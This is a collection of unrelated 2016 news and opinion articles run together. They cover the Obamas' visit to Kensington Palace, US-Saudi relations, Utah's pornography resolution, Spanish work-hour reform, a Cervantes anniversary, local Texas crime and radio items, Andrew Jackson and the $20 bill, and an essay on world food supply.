Obama and his wife were visiting Kensington Palace, on what has turned into an unexpectedly controversial visit to the United Kingdom.

President Obama was plunged into the febrile political debate on the U.K.s forthcoming referendum on whether or not the country should leave the European Union after he penned a newspaper piece urging the U.K. to stay in the bloc.

London Mayor Boris Johnson, a prominent out campaigner, was accused of dog-whistle politics after he referred to Obama as part-Kenyan in a riposte in the Sun newspaper.

However, after a meeting with Prime Minister David Cameron, politics were forgotten as the president and his wife visited the Queen for lunch.

Later in the day the Obamas were welcomed by the young royalsHarry, Kate, William, George and Charlotteat their London base, Kensington Palace.

They have all met independently previously on several occasions and Michelle previously referred to Harry as a real guy over his support for wounded veterans.

The presidential couple will be staying for an informal dinner at KP this evening.

Prince George was briefly introduced to Obama and Michelle, while Prince William, on what turned into a wet and miserable day in London, apologized for the very British weather.

The Obamas came bearing giftsa rocking horse for Prince George and a stuffed dog for Charlotte, apparently a representation of White House pooch Sunny.

The visit was notable among U.K. photographers as it marked the first time that William and Kate have allowed cameras into their London home, which was the subject of a multimillion-pound refurbishment before they moved in two years ago.

And guess what? Its, as you might expect from Kate and Will, not flashy but modest-looking luxe.

Harry, Michelle, and Kate sat on one side of the room while Obama and William appeared locked in conversation on the opposite side of a large upholstered octagonal table, on which rested, somewhat incongruously, the stuffed dog Michelle and Obama had brought for Charlotte.
PARIS  Long before his visit to Riyadh this week, when President Barack Obama was asked if the Saudis were Americas friends, he said coyly, Its complicated. During his visit, a veteran of the Saudi intelligence services told me, with a similar note of irony, Its a special relationshipand there are special differences.

No kidding.

How are Americans supposed to get behind a government that carries out dozens of beheadings on a single day, that has shown a recent penchant for waging wars it cant manage to win, that supports the preaching of an extreme version of Islam that helps prepare the way for jihadists being groomed around the world, and has such a screwy relationship with women, giving them strong educations (they are 55 percent of the students in Saudi universities), then refusing to allow them to drive cars or walk the streets without head coverings?

Add to that, the suspicion lingering for the last 15 years that Saudi officials, not just Saudi citizens, were involved in some way with the Sept. 11, 2001, attacks on the United States.

The fact that 28 pages of the vast 9/11 Commission Report remain classified to this day only heightens those misgivings, even though the Saudi governments position has been, since the issue of the pages first arose in 2003, that the U.S. government should publish the damn things.

So, the Riyadh meetings were fraught with tension, but complicated and special differences have always been part of this picture.

The United States and Saudi Arabia began their awkward embrace in 1945 when the ailing President Franklin Roosevelt met the aging King Abdelaziz ibn Saud aboard an American warship afloat on part of the Suez Canal known as the Great Bitter Lake.

In light of U.S.-Saudi relations since thenseven very difficult decades, in factthe name of the venue seems ironically appropriate. This was never a marriage, the metaphor used by countless pundits commenting on Obamas visit to Riyadh this week. There was never a honeymoon, certainly, and the differences now are not a matter of estrangement or divorce.

This was and is, as the saying goes, just businessthe oil business; the arms business; the regional security business.

Sometimes its more civil, sometimes less, but its a partnership between two nations with radically different characters: one an enduring if sometimes erratic democracy built on the power of individuals, Enlightenment ideals, and the rule of law; the other an enduring but often sclerotic monarchy built on tribalism, theology, and the rule of a single family.

When the interests of that family and those of the American people diverge, or when the business model starts to changeand as Obama sees it, both things are true right nowthe incongruity of the partnership becomes all too apparent. Former Saudi intelligence chief Turki al-Faisal, echoing acerbic remarks hes been making for years, told CNN this week the relationship needed a recalibration. He was just stating the obvious. And it seems the best that could be said of Obamas interaction with the Saudis, as White House officials spun it, is that it cleared the air.

One can only imagine what that phrase, clearing the air, really means at a time when Obama, with the end of his term in sight, seems determined to get a lot of frustrations off his chest, whether in The Atlantic or on Fridays stormy visit to London. But a brief checklist of contentious issues with the Saudis gives an idea just how many problems there are, and how long theyve been around.

The core business is oil, of course. Saudi Arabia has huge amountsmore than 20 percent of the worlds proven reserveswhich it can pump relatively cheaply. The United States, which once relied heavily on imported oil, managed to reduce that dependence dramatically over the last decade, thanks largely to the boom in fracking and more extensive conservation measures.

As in the past, the Saudis have moved to undermine competition from alternative supplies by producing in such quantities, relative to demand, that prices have plunged dramatically. Hydraulic fracturing, windmills, and other sources of energy no longer make short-term economic sense. American fracking firms have been closing down left and right for more than a year, and reliance on cheapread Saudiforeign oil is likely to increase.

In the 1970s, the oil shock generated by the Saudis and the rest of OPEC was about high prices. Now its about low prices. Of course, no American president is going to ask the Saudis to push up the cost of gasoline at the pump, at least not publically, but if the U.S. production boom is to recover, thats going to have to happen.

The flip side of the oil business, in this partnership, is defense. There is no formal treaty but there have been clear understandings since that encounter on the Great Bitter Lake that the United States would protect not only Saudi oil but the Saudi regime from its enemies.

During the Cold War, the pact made perfect sense: the greatest threat came from the Soviet Union, a common enemy if ever there was one. By the 1980s, anti-Soviet cooperation, especially in covert ops, had reached extraordinary levels. The Saudis not only worked with the CIA to build up the mujahedeen fighting the Soviets in Afghanistan, they helped the Reagan administration work around Congress to fund the Contras in Nicaragua.

But, precisely because there is no formal treatyno NATO of Arabia, if you willthe Saudis worry constantly about the credibility of American assurances theyll be defended. When Obama is quoted calling Saudi Arabia our so-called ally, that rankles, even though he said it way back in 2002. He wouldnt repeat it now, certainly. But there is a real question today: Our ally against whom?

For a long time, even after the demise of the Soviet Union and the end of the Cold War, the easy answer was Iran. In 1979, the Iranian revolution presented the Americans and the Saudis with another common threat. Yet even by the mid-1980s, Riyadh was starting to have its doubts about U.S. resolve in the face of Iranian-backed terrorism.

When the Reagan administration pulled U.S. troops out of Lebanon in 1984 after Iranian- and Syrian-backed suicide bombings that slaughtered hundreds of Marines and twice blew up the U.S. embassy, the Saudis and other Gulf monarchs voiced the same kinds of doubts about the reliability of their U.S. protectors that we are hearing now: Would Washington really defend them against Tehrans regional ambitions?

Partly to stifle such speculation, the U.S. sent warships to wage a quasi-war against the Iranians at sea in 1987, and give de facto backing to, yes, Iraqs Saddam Hussein, who was fighting a massive war against Iran on the ground. The culmination of that exercise: The Americans shot down an Iranian civilian airliner in 1988, slaughtering all of the men, women, and children aboard. The Iranians finally called an end to the war. And Saddam was so chuffed, so confident he was the Wests new hero, that two years later he invaded Kuwait. Then the United States went to war not just to liberate the Kuwaitis, but, most importantly, and absolutely, to defend the Saudis against their former ally Saddam.

And so the seeds were sown for he the spiral of conflict that eventually led to the rise of Osama bin Laden (whose first fight was to get American troops off holy Saudi soil), and the 2003 invasion of Iraq, with all its many and disastrous consequences.

Throughout the last 70 years, American support for Israel has been opposed by Saudi Arabia, which did not want to see the Jewish state recognized in 1948, supported wars against it, funded terrorists who attacked it, and imposed an oil embargo in 1973 to try to keep Washington from rearming it. All to no avail.

Then in 2002 Crown Prince Abdullah proposed a comprehensive peace plan, signed by all 22 Arab countries, but, again, to no avail. As Hassan Yassin, a former spokesman for the Saudis in Washington, wrote this week in Riyadh, the U.S. did not lean enough on Israel to even respond to a peace initiative that offered full peace and diplomatic relations along the lines accepted by the international community. It is a regret that pursues us until this day.

Over the last decade or so, weve often heard that there is quiet, if not quite secret, rapprochement between Israel and the Saudis. But there is only one common interest, in fact: blocking the rise of Iran again as a regional and eventually perhaps as a nuclear power. In 2006, the Saudis did give tacit diplomatic support to Israel in its war against the Iranian-backed Hezbollah militia in Lebanononly to be humiliated when Hezbollah fought the Israelis to a standstill week after week.

Today, the issue of American credibility may hinge on many issues, but Iran figures in all of them.

The Israelis and the Saudis, both, believe the Obama administrations nuclear deal with Iran opens the door to greater rapprochement with the mullahs. Part of Obamas message in Riyadh to the Saudis and the other monarchs of the region was that Washington has no illusions about Irans support for terrorism and subversion to promote its goal of regional domination. The Americans are active helping interdict Iranian arms shipments, as a communique from the summit this week made clear. But the fact that Secretary of State John Kerry flew from his meetings in Riyadh to a meeting in New York with the affable Iranian foreign minister, Javad Zarif, wont encourage Saudi confidence.

The most complicated battleground, Syria, has been made that much more complicated by Saudi Arabias own conflicting priorities. On the one hand, it wants to see the end of the regime of Syrian President Bashar al-Assad, who is an Iranian client. On the other hand, it does not want to see a takeover by the Muslim Brotherhood, for generations the core of dedicated, and sometimes violent, opposition to the Assad dynasty. So the Saudis have thrown their weight behind Salafis whose brand of extremist Islam has a certain affinity with their own official version of the religion, but has often opened them up to alliances with the al Qaeda faction on the Syrian battlefield.

In August 2013, the Saudis seemed to think that Obama was ready to win the Syrian war for them. He had said the year before that if the Syrian government used chemical weapons against its people that would be a red line. And when that appeared to be the case in the summer of 2013, he did indeed get ready to authorize the bombing of some Syrian military installations. But the targets would not have included the chemical weapons stockpiles, for fear of spreading the poisons far and wide. And, as we pointed out at the time, the history of such limited U.S. attacks to teach a lesson to Arab dictators was long and grim and ultimately in every case counterproductive.

Instead, Obama cut a deal with the Russians, who forced Assad to inventory and surrender virtually his entire chemical arsenalwhich did eliminate weapons he could have used to panic the opposition into surrender, but did not satisfy the hawks, including the Saudis, who wanted to see a decisive American intervention that might end the war (precisely how was never clear). In fact, no such open-ended intervention was ever contemplated. Obama was intent on ending two wars in the Muslim world, not beginning a third one.
As promised, Utah Gov. Gary Herbert signed a resolution on Tuesday declaring pornography to be a public health hazard leading to a broad spectrum of individual and public health impacts and societal harms, alongside a child pornography measure.

Pornography is a public health crisis, Herbert announced. Today I signed two bills that will bring its dangers to light.

The public health hazard resolution, SCR9, is a master class in peddling anti-porn pseudoscience. And although the law, sponsored by state Sen. Todd Weiler, contains no mechanism for enforcement, it encourages Gov. Herbert and the Utah state legislature to address the pornography epidemic that is harming the people of our state and nation with education, prevention, research, and policy change.

If Utah legislators were to change public policy based on this resolution, they would be doing so based on unsubstantiated claims about the dangers of pornography and the legitimacy of porn addiction. In fact, almost every line of the law is inaccurate or misleading.

The resolution claims that the average age of exposure to pornography is now 11 to 12 years of age. That statistic may have originated with the group Family Safe Media, a company that sells TV profanity filters. The age 11 number is frequently touted by groups like Focus on the Family without any apparent citation. In reality, as a 2008 study found, exposure prior to age 13 was relatively uncommon (PDF).

SCR9 also refers to frequent pornography usage as a biological addiction despite the fact that porn addiction and sex addiction are not included in the Diagnostic and Statistical Manual of Mental Disorders (DSM). In fact, the American Psychiatric Association has repeatedly rejected attempts to recognize sex addiction or hypersexual disorder, based on a lack of evidence.Biological examinations of so-called porn addiction have generally been fruitless. A 2015 neuroscience study published in Biological Psychology found that electrical activity in the brains of people who felt their porn usage was problematic looked nothing like the patterns found in the brains of actual addicts. That didnt stop the Utah state legislature from declaring that recent research indicates that pornography is potentially biologically addictive.

Why might someone believe in porn addiction without supporting evidence? Recent research in the Archives of Sexual Behavior has shown that religiosity is robustly predictive of perceived [pornography] addiction. This perception of addiction is unrelated to actual use. In other words, a religious person who watches pornography once a week is probably more likely to consider himself addicted than an atheist who indulges every night.Relevant here is the fact that most Utah state legislators are members of the Church of Jesus Christ of Latter-day Saints, and that one of the most frequently cited figures in anti-porn pseudoscience is Donald Hilton, a Mormon neurosurgeon. The Mormon Church itself has endorsed the concepts of sexual addiction and porn addiction, treating them under a 12-step model in its Addiction Recovery Program.

It does take a great deal of faith to believe many of the other unscientific claims in SCR9.

For instance, the resolution contends that pornography can impact brain development. This claim might appear credible based on a 2014 study that found an association between porn use and gray matter volume in one region of the brain but even the authors of the study note that the relationship may not be causal. The decreased gray matter volume, the authors acknowledge, could simply be a precondition that makes pornography consumption more rewarding, rather than a result of frequent viewing over time.

Ultimately, the supreme irony of SCR9 is that it claims pornography is leading to a a public health crisis when, in fact, a belief in porn addiction is associated with mental health problems.

A 2015 study in the journal Psychology of Addictive Behaviors found that, although pornography use itself is relatively unrelated to psychological distress, believing you are addicted to Internet pornography is associated with depression, anxiety, anger, and stress.

[T]hese findings strongly underscore the claim that perceived addiction to Internet pornography likely contributes to the experience of psychological distress for some individuals, the researchers concluded.

The authors of Utahs new resolution claim to be concerned about the emotional and medical illnesses that pornography can cause. But if theyre worried about the mental health of Utahns, they should probably stop promoting the potentially harmful myth that is porn addiction.
Podemos politician Carolina Bescansa with her baby in Congress in January. Uly Martin (EL PAIS)

No matter who ends up in power, whether in coalition or alone, the next Spanish government looks set to roll out work-family policies promising a shorter, more flexible working week along European and US lines.

What is needed now, says Nuria Chinchilla, a human resources lecturer and head of the IESE business schools International Center for Work and Family, is the same political will and vision that saw the introduction of the anti-smoking law.

Catalonia has progressed further than the rest of Spain in reforming the working week

Polls throughout Spain show that more flexible working hours are widely considered long overdue. Usue Madinaveitia, one of the organizers of the social media campaign #mamiconcilia, says: Politics should reflect societys needs. Its no longer taboo to admit you want things outside of work or that you are keen to spend time with your children.

A director with an advertising agency until the birth of her son prompted an invitation to leave, Madinaveitia says successive labor policies have failed to take children into account. As far as the politicians are concerned, reconciling the demands of family and work means the parents working longer hours while the children are parked somewhere, she says.

Measures such as lengthening the school day and increasing the number of nurseries simply create a system whereby parents dont spend time with their children. Instead, its the grandparents or child minders who bring them up, argues Madinaveitia, adding: The childs day ends up being longer than that of his or her parents.

Laura Baena, the founder of the website Club de Malasmadres (The Bad Mothers Club), which has some 170,000 followers on Facebook, describes policies until now as a stopgap, saying the issue doesnt just affect moms and dads. Some people are looking after an elderly person or have other dependents. And some people simply want to have time for their personal life. A long term solution has to take everyone into account.

When it comes to work-family balance, Spaniards are fed up. New laws are not only an option, but an obligation PP spokesman Javier Maroto

Baena has managed to gather more than 289,000 signatures on campaign website Change.org demanding incentives for small companies to introduce an uninterrupted workday with a flexible schedule. While she welcomes acting Prime Minister Mariano Rajoys comments in early April about returning Spain to GMT and ending the working day at 6pm, she says he should also have talked about introducing more flexible working hours. Flexibility is the key to reconciling work and family demands, she says. You cant be straitjacketed by the need to be physically at your desk.

Madinaveitia, who is now self-employed and shares domestic chores with her husband, agrees with Baena. Flexibility is more important than the actual time you clock out. Your boss needs to understand that today somethings cropped up and youll be late but youll leave later  or not, because if youve finished what you need to get done, why be there?

Usue Madinaveitia, in her home in Madrid. Samuel Sanchez

Sadly, the culture of long hours at the desk, rather than a focus on productivity, has deep roots in Spanish companies. In more progressive countries, its employees work, not their hours, that matters, says Fabian Mohedano, who set up the Initiative to Reform the Working Week in Catalonia.

But Mohedano, who has just become deputy in the Catalan regional parliament for the Junts Pel Si pro-independence party, is optimistic things are about to change. The fact that Rajoy is talking about it means it will be dealt with in the next parliamentary session, he insists.

Its a politically opportune moment [for change], says Jose Luis Casero, president of the Association for Rationalizing Spanish Working Hours (Arhoe). But Spaniards are used to not seeing things carried through to a working conclusion.

Reasons to be skeptical

In 2013, a Congressional subcommittee nearly reached consensus on work-family policies, coming up with proposals similar to those now under discussion. But the Popular Party government did not put them before Congress. Nor did they implement increased paternity leave, from two to four weeks, that was approved in 2009. Moreover, despite the fact that a proposal was unanimously approved that would give fathers the right to take their partners leave after the birth of their child, no party ever brought it to the floor to be voted on. So why should anyone believe Congress now?

For one thing, says PP spokesman Javier Maroto: When it comes to work-family balance, Spaniards are fed up. New laws are not only an option, but an obligation.

Carmen Monton, a member of the Socialist Party (PSOE) federal executive committee, defends her partys track record on pushing for a more equitable work-life balance, but says more needs to be done. Clara Serra of anti-austerity group Podemos insists that balancing work and family is at the heart of our manifesto because we put peoples needs first. Antonio Roldan of emerging center-right group Ciudadanos confirms that the issue is key for his party.

Copying the Catalan model

Catalonia has progressed further than the rest of Spain in reforming the working week. Mohedano says an earlier start to the working day was introduced in the northeastern region three years ago through a series of pilot schemes, coupled with awareness-raising campaigns. He says further reform will be based on three main elements: A general law touching on schedules and incentives for participating companies; pacts with the five main sectors  business, education, culture, the civil service and stores; and finally, public information campaigns.

The idea is for a transitional phase to follow the introduction of legislation, as happened when Spain joined the euro or introduced anti-smoking legislation. What I would say to Rajoy is that we need a cohesive plan, says Mohedano. For example, theres no sense in completely liberalizing shopping hours without bringing forward prime time television.

Your boss needs to understand that today somethings cropped up and youll be late but youll leave later  or not, because if youve finished what you need to get done, why be there? Usue Madinaveitia, one of the organizers of the social media campaign #mamiconcilia

Reforming Spains working hours will require a major cultural shift, but so far no sector has come out against it. The head of Spains biggest employers confederation, the CEOE, cautiously welcomes a 6pm clock-out time: It doesnt have to happen from one day to the next, but if we have it as a goal I think its possible and positive for everyone. We all want more free time.

In theory at least, all Spains parties agree that an earlier finish to the day has to happen. We should start work an hour earlier and get home earlier, says Ciudadanos spokesperson Roldan, while the PPs Maroto says its time to get used to a working day that ends at 6pm, although it will need the backing of employers and unions to make it work.

Nuria Chinchilla says this is essential: Senior and middle management need to support reforms because they largely dictate business culture, explaining that if bosses left earlier, took shorter lunch breaks or stopped scheduling meetings late in the afternoon, the rest of the workforce would follow suit. The main challenge is changing ingrained habits, she concludes.

Paternity Leave

Other work-family policies on the table include paternity leave, which is backed by Ciudadanos. The party has been credited with spearheading the drive for a balanced work and home life, their proposal to extend leave for fathers after their baby is born, which is supported by the PSOE, has been opposed by the Platform for Equal and Non-Transferable Leave for Births and Adoption (PPiiNA).

This is because while the proposal extends leave to 26 weeks and stipulates eight non-transferable weeks for the mother and eight for the father, the 10 remaining weeks can be taken by either parent. This latter portion of the proposal has been pounced upon by critics who believe mothers will inevitably take the outstanding weeks.

Our goal is to make parental leave equally accessible to all employees, whether male or female, says Maria Pazos, a PPiiNA spokesperson, estimating the cost of financing the objective at around 1.4 billion.

Roldan points out no other country in the EU has such an advanced policy. Not even Sweden, he says, adding: theres no hard evidence to indicate that mothers usually takes any remaining parental leave.

But Spanish social security data undermines Roldans claim. While 87% as many fathers took paternity leave in 2015 as mothers, fathers took only 1.8% of the transferable leave.

The PP does not support extending paternity leave, despite voting in 2012 in favor of fathers having greater access to leave. But the party is suggesting 10 extra days for disabled fathers or fathers with disabled children.

English version by Heather Galloway.
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Are you looking for a job and not having much luck finding local job listings? There are variety of ways to narrow down your local job search to focus on jobs near you  or in the locations where you are interested in working.
Manuel Tafalle dressed as Miguel de Cervantes surrounded by politicians Celia Villalobos, Albert Rivera, Pedro Sanchez and Patxi Lopez outside Congress. Uly Martin

The ring announcing the start of Thursdays session in Congress was followed by another, very different sound.

It was the sound of violins, violas, cellos, a harpsichord and a double bass belonging to La Spagna orchestra, which played fragments from Georg Philipp Telemanns Suite Burlesque de Quixotte.

The actor Manuel Tallafe, dressed as the writer himself, took over the house speakers seat to address the chamber

Actors and musicians filled Spanish Congress to observe the 400thanniversary of the death of Miguel de Cervantes. The actor Manuel Tallafe, dressed as the writer himself, took over the house speakers seat to address the chamber.

For once, every seat in the house was full  even those assigned to the acting government of the Popular Party, whose members have been conspicuously absent during question times these last few months.

There was one notable absence, that of acting Prime Minister Mariano Rajoy. Socialist leader Pedro Sanchez arrived a few minutes late, and shared a row with Ciudadanos chief Albert Rivera.

The actors took the opportunity to pepper their rhetoric with satirical criticism aimed straight at the politicians sitting in the room. Cervantes-Tafalle even joked with the idea of registering his new novel Don Quixote in Panama.

The theater company Ron Lala ended the special event with a line from its touring show, Cervantina, which resonated in a chamber where politicians have been unable to form a new government four months after Spaniards went to the polls: Espana esta agonizante, Espana se va al abismo. Todo el mundo lee a Cervantes para pensar por si mismo. (Spain is agonizing, Spain is headed for the abyss. Everyone is reading Cervantes in order to think for themselves).

A documentary about his remains

On Thursday, a new documentary about Cervantes was presented at the Spanish Film Academy coinciding with the anniversary of the authors death 400 years ago.

The film follows the efforts to locate and identify the remains that were found recently at a former convent in downtown Madrid, where Miguel de Cervantes Saavedra was buried unceremoniously after dying poor.

Cervantes, la busqueda (or, Cervantes, the search) illustrates the search that was carried out by scientists and historians at the Convento de las Trinitarias. The idea emerged from the need to reflect all the research, effort and work of a group of scientists, said film director Javier Balaguer.

English version by Susana Urra.
A College Station man is facing four charges after police say he resisted arrest and kicked a hospital emergency room employee Wednesday afternoon.

According to the College Station Police Department, officers responded to a public intoxication complaint in the 300 block of University Drive around 1:30 p.m. Wednesday.

Police say Christopher Wolff, 38, was arrested on charges of public intoxication and possession of marijuana. Wolff attempted to pull away from officers in an attempt to free himself, police documents say.

Police then took Wolff to the College Station Medical Center because of his level of intoxication. While receiving treatment, police say Wolff kicked an emergency room worker in the abdomen. The hospital employee received non-incapacitating injures in the incident, police say.

Wolff was charged with assault on a public servant, a third-degree felony, and resisting arrest, search or transport, possession of marijuana and public intoxication.

Police say the case is still under investigation. Anyone with information about the incident is asked to contact College Station Police at 764-3600.

If convicted on the assault on a public servant charge, Wolff could face up to 10 years in prison and a fine of up to $10,000.
This month marks the 50th anniversary of local country radio station 98.3, KORA-FM.

KORA-FM began as KORA-AM in the 1940s. The station moved to its current location on 1240 Villa Maria Road in 1966, and since then has been providing the Brazos Valley with Texas country music as well as "Nashville favorites."

"On 98.3 KORA, we focus on Texas country artists with a good mix of current and classics from Nashville," stated general manager John Seigler in a press release from Brazos Valley Communications. The station and its DJ personalities remain active in the community, volunteering with and sponsoring various nonprofit organizations, and providing service to festivals, concerts and clubs in the local area.

"We're dedicated to serving our communities and making the lives of our listeners better with entertainment, news, weather, and community involvement," Seigler stated in the release.
Editor's note: The original version of this story reported that a 19-year-old was indicted on a felony charge in connection with allegations that he intentionally hit his ex-girlfriend's car in an intersection.

However, the man was not indicted. A spokesperson from the Brazos County District Attorney's Office said his case was scheduled to be presented to the grand jury Thursday, but the man's defense attorney requested it be removed. However, the DA's office forgot to remove his name from the list given to the media. The case likely will be presented within the next few weeks.

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A 31-year-old homeless man was indicted Thursday after authorities said he threatened a man with a sawed-off shotgun.

The convicted felony was charged with three felonies - aggravated assault with a deadly weapon, illegally carrying a weapon and drug possession. Each charge is a third-degree felony punishable by up to 10 years in prison and a fine of $10,000.

Forty-four people were indicted by a Brazos County grand jury. An indictment is not an indication of guilt, rather it means there's enough evidence to formally charge someone with a crime.

Texas law says an assault can be committed even if a person knowingly threatens another with imminent bodily injury. If a deadly weapon is used during the assault, the defendant can be charged with aggravated assault.
President Obama Not to Recognize Armenian Genocide for Eighth Time

White House National Security Council officials informed the Armenian National Committee of America (ANCA) this afternoon that President Obama will refrain from properly commemorating the Armenian Genocide, as he had promised to do as a candidate, in his eighth and final Armenian Remembrance Day statement, set to be released in the next few days, ANCA said on its website. It seems President Obama will end his tenure as he began it, caving in to pressure from Turkey and betraying his commitment to speak honestly about the Armenian Genocide, said ANCA Executive Director Aram Hamparian, who met with the officials along with Government Affairs Director Kate Nahapetian. Prior to his election to the oval office, President Obama was clear and unequivocal in promising to properly characterize Ottoman Turkeys murder of over 1.5 million Armenian men, women and children between 1915 and 1923 as genocide. In a January 19, 2008, statement he wrote: The facts are undeniable. An official policy that calls on diplomats to distort the historical facts is an untenable policy. As a senator, I strongly support passage of the Armenian Genocide Resolution (H.Res.106 and S.Res.106), and as President I will recognize the Armenian Genocide. President Obama has broken that pledge in annual Armenian Remembrance Day statements issued on or near April 24th, the international day of commemoration of this crime. Details can be found here
The announcement by Treasury Secretary Jack Lew that Harriet Tubman will take the place of Andrew Jackson on the front of the $20 bill has caused some grumbling. Senator Lamar Alexander, who like Jackson is from Tennessee, expressed grave misgivings about the swap. Donald Trump said the change was "pure political correctness."

But there's one major political figure who would be thrilled by the news: Jackson himself.

Jackson's presence on the notes of the Federal Reserve has always been a slap in the face to the seventh president, who unequivocally hated the idea of a central bank that issued paper currency. Jackson will be finally released from a kind of monetary purgatory.

Jackson's fear of paper money was legendary. He came of age in an era when most of the nation's money supply consisted of notes issued by state-chartered banks. These private currencies could, in theory, be redeemed for "hard money" -- gold or silver coin -- at the counters of the banks that issued them. But in times of panic, banks often reneged on these promises. Jackson, who had an especially traumatic experience during the panic of 1819, emerged from that crisis with a profound distrust of paper instruments of all kinds.

His view was simple and straightforward. As he would later write:

"The only currency known to the constitution of the United States is gold and silver. This is consequently the only currency which that instrument delegates to Congress the power to regulate. A general paper currency, being unknown to the constitution, does not come within the scope of any of its provisions, and cannot be regulated under its authority."

This view would put him on a collision course with the Bank of the United States. The institution, the brainchild of Alexander Hamilton (the guy on the $10 bill), had been chartered by Congress and went through two separate iterations. Modeled on the Bank of England, it drew on both public and private resources and was the era's closest cousin to a modern central bank. Its notes enjoyed a national circulation, much the way Federal Reserve notes work today.

When Jackson won the presidency in 1828, he and the president of the Bank of the United States, the aristocratic Nicholas Biddle, immediately clashed. In time, their mutual animus would spawn the so-called Bank War, a titanic clash over the fate of this institution. Jackson famously told Biddle at the outset of this struggle that "I do not dislike your bank any more than all banks." But this was disingenuous: Jackson's hatred for the Bank of the United States grew to immense proportions.

In private, he labeled it a "hydra-headed monster" that he swore he would slay. In public, he did his best to make good on that promise, vetoing a bill to renew its charter in the summer of 1832. The tone of that veto, which Biddle likened to the "fury of a chained panther biting the bars of his cage," unleashed a broadside on the very idea of a national bank, which Jackson's veto described as unconstitutional, "subversive of the rights of the States, and dangerous to the liberties of the people."

Jackson's fiery attack emboldened his supporters, and he swept to re-election that fall. Not satisfied with this victory and the inevitable death of the Bank when its charter expired in 1836, Jackson administered the coup de grace, withdrawing federal funds from its coffers, leaving it an empty shell.

But even this wasn't enough: There still was the question of what to do about all the paper "trash" issued by state-chartered banks. He and his allies sought to crush these, too, but their powers were more limited. Jackson eventually issued the "Specie Circular," which required purchasers of federal lands to pay with gold and silver coin, not paper bank notes.

Jackson never wavered in his convictions after he left the presidency. "Congress has the express power to borrow, but not to issue bills of credit, or make a paper currency," he wrote in 1841. "Ours was intended to be a hard money government."

And yet, not so long after his death, Jackson ended up on some of the first irredeemable paper money issued by the federal government: the greenbacks, printed during and after the Civil War. First he adorned the $5 note, then the $10 and $20 notes issued by the Federal Reserve. This paper initially could be exchanged for "hard money," but after Franklin D. Roosevelt took the country off the gold standard, Jackson was left stranded on a piece of fiat currency worth $20.

And there he remained, spinning in his grave, until now.
Some opportunist politicians have upped the ante since Beddington's report - demanding 100% more by 2100. Worse, say the powers-that-be, we must now produce biofuel as well as food and, of course, more and more land is needed for airports and the rest. Thus the talk from on high is 'productionist': more and more of everything, on less and less space.

At first sight the stats seem to support the official analysis. A billion people out of the current seven billion are hungry now - and the UN tells us that by 2050 numbers will rise to 9.5 to 10 billion. At the same time, as (some) people grow richer, they 'demand' more meat - and meat production is innately profligate.

The world's livestock now consume at least a third of the world's grain and by 2050, the projection has it, they will be eating enough to feed another 4 billion people. In the long term, but starting as soon as possible, we need draconian policies to reduce population. But for the immediate future we must produce as much as possible, by whatever it takes. Stands to reason, doesn't it?

Furthermore, say the powers-that-be, to produce all this extra food we need high tech, which means high capital, practiced on the largest possible scale to achieve economies of scale: megatonnes of fertilizer, herbicide, and pesticide, applied to monocultural fields that stretch to the horizon; there are arable farms in the Ukraine bigger than Kent.

All, though, is ameliorated these days by GM, crops genetically engineered to resist pests without pesticide and to grow in the most hostile conditions. GM came on line in the nick of time, like the US cavalry in the 5th reel. Labour must be kept to a minimum and preferably down to zero (this is the age of the robot).

All who oppose these vital developments are backsliding Luddites, or middle-class airy-fairy elitist do-gooders, steeped in superstition and/or nostalgia, anti-science and anti-progress, the enemies both of humankind and of the biosphere.

Yet once you look beneath the surface - as we might hope our leaders and their expert advisers would do - you see that the official analysis, acted on by governments and worldwide and the driving force behind modern research, is the grossest nonsense, threatening if we continue with it to kill us all, and most of our fellow creatures too, and helping to poison all the world's ecosystems and screw up the climate for good measure.

The 'free market' has been portrayed as the answer

For the real reason that a billion now are hungry has very little to do with total numbers and everything to do with waste and the misallocation of resources, with the wrong crops in the wrong places, and with government (tax-payers') support for what doesn't matter and little or no support for what does.

Behind all this lies a highly extrapolated version of ideas that date from the Scottish economist Adam Smith, and the early 19th century English economist David Ricardo. It's surprising how so much modern lore, not to say dogma, in science and economics, derives from the musings of 200 years ago.

For Smith seemed to argue in his seminal Wealth of Nations that if markets are left to themselves everything will turn out OK because no traders can survive in a truly 'free' market unless they do what their customers want, and crooked or otherwise defective traders are weeded out because they lose custom.

So the free market is both democratic and efficient. This is the thinking behind the 'deregulated', 'free global market economics that is called 'neoliberal', and now dominates the world. Ricardo argued that every nation should concentrate on producing those goods that it can produce better than anyone else (its 'comparative advantage'), and then sell them to the highest bidder (through, nowadays, the global market).

Thus the producing country grows as rich as it is possible for it to do and it can use its surplus cash to buy all the ordinary stuff that anyone can grow. Thus the world's traditional 'banana republics' grew, well, bananas and then imported, say, surplus American corn. Makes perfect sense, eh?

I have heard modern sages on television assuring the world that poor countries should go on selling their produce on the world market even in times of famine.

However the neoliberal market doesn't work

The trouble is, President Obama recently pointed out and as the past 40 years have shown in abundantly, "Guess what. The neoliberal market does not work". In practice the 'free' market is inevitably dominate by a handful of corporates, supported by the world's richest governments, which depend on the corporates' good offices.

The whole works are thrown off course by the mega-banks on which everyone depends but which have their own agenda; and nobody in high places seems to know or care what effect their machinations are having on the world at large.

The prime virtue, for a true oligarch, is loyalty to their employer or their political party, come what may. Probably, though, ironically, the market does not work in the best interests of humanity precisely because it is supposed to be maximally and indeed ruthlessly competitive.

It is the nature of competitions to produce losers as well as winners. The billion malnourished and the billion in slums are the losers. The oligarchs are among the winners. In truth, too, cooperativeness is more efficient and productive than competition. The losers also of course include the biosphere, which doesn't get a look in, except as an afterthought.

There's another irony, too. Modern politicians, taking their lead from scientists, claim to be 'evidence led'. All the evidence suggests that the extrapolated ideas of Smith and Ricardo don't work, as Obama said. But our leaders cling to them despite the evidence, as zealously as any religious fundamentalist ever did.

Enough food can be grown to feed an ever-growing population

If we shook off the ancient economic theorising, applied a little common sense and compassion, and did things properly, no-one need go hungry. The UN demographers tell us that although the human population could rise to 10 billion it should not grow larger than this, because the percentage rate of increase is falling and by 2050 the increase should be down to 0% - meaning that numbers should then be stable.

After that, if the trend continues, the population should fall. The reasons for this are all benign: decreasing infant mortality, so people don't need extra children as insurance; more choice for women, and women everywhere, it seems, given the choice, commonly choose to have fewer children. So if we can feed 10 billion people for a few decades or centuries without doing terminal damage to the rest we'll have cracked the problem. Forever.

But can we really feed 10 billion? Well, as Millennium Institute President Professor Hans Herren has pointed out many a time and oft, the world already produces enough food to support 14 billion people - twice what we should need now and 40% more than we should ever need.

For the world now grows 2.5 billion tonnes or so of cereal per year, mostly wheat, rice, and maize, which is enough to supply 7 billion people with 3000 kcals a day (comfortably more than the required average intake, given that most people are either children or old and consume less than adult males), and with all the protein they need.

